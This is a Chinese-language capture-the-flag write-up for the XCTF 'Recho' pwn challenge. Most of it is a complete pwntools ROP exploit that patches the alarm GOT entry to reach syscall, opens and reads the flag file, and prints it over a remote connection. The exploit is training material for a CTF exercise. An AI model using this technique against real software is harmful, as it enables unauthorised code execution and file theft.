原程序攻防世界Recho(这题本地测不出来,只能远程)根据大佬wp的情况下完成的
整个程序是个死循环需要用到pwntools的p.shutdown(‘write’) #关闭控制台写入循环,然后这题没有后门函数,因为关闭了shutdown(‘write’)控制台输入后(远程)就输入不了了,只能等程序重新运行,因为程序压根就执行不到return指令,经过shutdown后也就是说return指令只会被执行一次,所以就只能一次性获取sh、或者cat flag
这题通过ROPgadget的强大之处,因为程序里面已经提供了read、printf、alarm(偏移后就是syscall函数)差一个open、而open函数恰好又可以被syscall函数加特定条件调用,要构造的函数原型
#include <stdio.h>
int main(){
char buf[100];
int fd = open("flag","a+");
read(fd,buf,100);
printf(buf);
}
最终payload
from pwn import *
from LibcSearcher import *
#context (log_level = 'debug' ,bits= 64,os = 'linux' ,arch = 'amd64' ,terminal = ['gnome-terminal' , '-x','sh', '-c'])
context (log_level = 'debug' ,bits= 64,os = 'linux' ,arch = 'amd64' ,terminal = ['tmux' , 'splitw', '-h'])
local = 0
binary_name = "Recho"
ip = "111.200.241.244"
port = 60617
if local:
p = process(["./" + binary_name])
e = ELF("./" + binary_name)
# libc = e.libc
else:
p = remote(ip, port)
e = ELF("./" + binary_name)
# libc = ELF("libc-2.23.so")
def z(a=''):
if local:
gdb.attach(p, a)
if a == '':
raw_input()
else:
pass
ru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)
buf = 0x601088 #这是一个bss段变量
prdi = 0x00000000004008a3
alarm_got = e.got['alarm']
prax = 0x00000000004006fc
add_rdi = 0x000000000040070d #通过ROPgadget --binary Recho | grep 'rdi'搜索到
flag_addr = 0x0000000000601058
prsi_pr15 = 0x00000000004008a1
alarm_plt = e.plt['alarm']
prdx = 0x00000000004006fe
read_plt = e.plt['read']
print_plt = e.plt['printf']
#构造open函数 格式 : open("flag",READONLY)
#调用syscall函数
payload = p64(prdi) + p64(alarm_got) # 将alarm真实地址放入rdi
payload += p64(prax) + p64(0x5) # rax = 0x5
payload += p64(add_rdi) #rdi += rax alarm地址加上0x5 使它指向syscall
#构造参数一: flag
payload += p64(prdi) + p64(flag_addr)
#构造参数二:READONLY
payload += p64(prsi_pr15) + p64(0) + p64(0)
#设置通过syscall函数加rax=2的条件触发调用open函数
payload += p64(prax) +p64(0x2) #这里不一定为2具体看libc开发的信号
payload += p64(alarm_plt) #进行调用函数 ,在前面plt表对应的got表地址已经被修改为syscall
#read(fd,buf,100);
payload += p64(prdi) + p64(0x3)
payload += p64(prsi_pr15) + p64(buf) + p64(0)
payload += p64(prdx) + p64(100)
payload += p64(read_plt)#程序有提供
# printf(buf);
payload += p64(prdi) + p64(buf)
payload += p64(print_plt)
sla('\n',str(0xff))
sl(b'a'* 0x30 + b'b' * 8 + payload)
p.shutdown('write') #关闭控制台写入循环
p.interactive()